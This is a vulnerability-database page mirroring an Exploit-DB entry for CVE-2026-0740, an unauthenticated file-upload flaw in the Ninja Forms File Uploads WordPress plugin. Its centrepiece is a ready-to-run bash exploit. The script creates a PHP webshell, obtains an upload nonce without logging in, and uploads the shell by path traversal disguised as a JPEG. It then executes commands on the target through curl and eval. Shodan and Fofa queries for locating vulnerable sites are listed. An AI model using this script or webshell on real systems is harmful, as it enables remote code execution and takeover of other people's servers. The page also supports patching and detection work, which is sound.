Lucene search
K

Ninja Forms Uploads - Unauthenticated PHP File Upload

🗓️ 13 May 2026 00:00:00Reported by selim.lanouarType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 53 Views

Exploit for Ninja Forms Uploads CVE-2026-0740 permits unauthenticated PHP file upload and remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-0740
17 Apr 202603:32
githubexploit
GithubExploit
Mephisto
21 May 202605:06
githubexploit
GithubExploit
Exploit for CVE-2026-0740
11 May 202614:39
githubexploit
GithubExploit
Exploit for CVE-2026-0740
8 Apr 202601:20
githubexploit
ATTACKERKB
CVE-2026-0740
7 Apr 202604:25
attackerkb
Circl
CVE-2026-0740
6 Apr 202617:19
circl
CNNVD
WordPress plugin Ninja Forms - File Uploads 代码问题漏洞
7 Apr 202600:00
cnnvd
CVE
CVE-2026-0740
7 Apr 202604:25
cve
Cvelist
CVE-2026-0740 Ninja Forms - File Upload <= 3.3.26 - Unauthenticated Arbitrary File Upload
7 Apr 202604:25
cvelist
EUVD
EUVD-2026-19572
7 Apr 202606:30
euvd
Rows per page
# Exploit Title:    Ninja Forms Uploads - Unauthenticated PHP File Upload
# Date:             2026-04-09
# Exploit Author:   Sélim Lanouar (@whattheslime)
# Vendor Homepage:  https://ninjaforms.com/
# Software Link:    https://ninjaforms.com/extensions/file-uploads/
# Version:          3.3.24
# Tested on:        WordPress (6.9.3) on Apache and Nginx servers
# CVE:              CVE-2026-0740
# Fofa Query:       body="nfpluginsettings.js?ver="
# Shodan Query:     http.html:"nfpluginsettings.js?ver="
# =============================================================================

if [ "$#" -ne 1 ]; then
    echo "Usage: $0 <target_url>"
    exit 1
fi

target=$1

field_id=$(head /dev/urandom | tr -dc '1-9' | head -c 16 ; echo)
file_name=webshell.php
echo "[-] Writing webshell in /tmp/$file_name..."
echo '<?php system($_GET["cmd"]); ?>' > /tmp/$file_name

echo "[-] Fetching nonce for random field_id $field_id..."
nonce=$(curl -s -X POST "$target/wp-admin/admin-ajax.php" \
     -d "action=nf_fu_get_new_nonce&field_id=$field_id" | jq -r '.data.nonce')
echo "[+] Got nf_fu_upload nonce: $nonce"

echo "[-] Uploading webshell..."
response=$(curl -ks -X POST "$target/wp-admin/admin-ajax.php" \
     -F "action=nf_fu_upload" \
     -F "nonce=$nonce" \
     -F "form_id=$field_id" \
     -F "field_id=$field_id" \
     -F "image_jpg=../../../$file_name" \
     -F "files-$field_id=@/tmp/$file_name;filename=image.jpg;type=image/jpeg")
echo "[+] Upload response: $response"

command="curl -ks '$target/wp-content/$file_name?cmd=id'"
echo "[-] Executing the 'id' command via the uploaded webshell: $command"
result=$(eval $command)
echo "[+] Command output: $result"

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 May 2026 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 3.19.8
EPSS0.17415
SSVC
53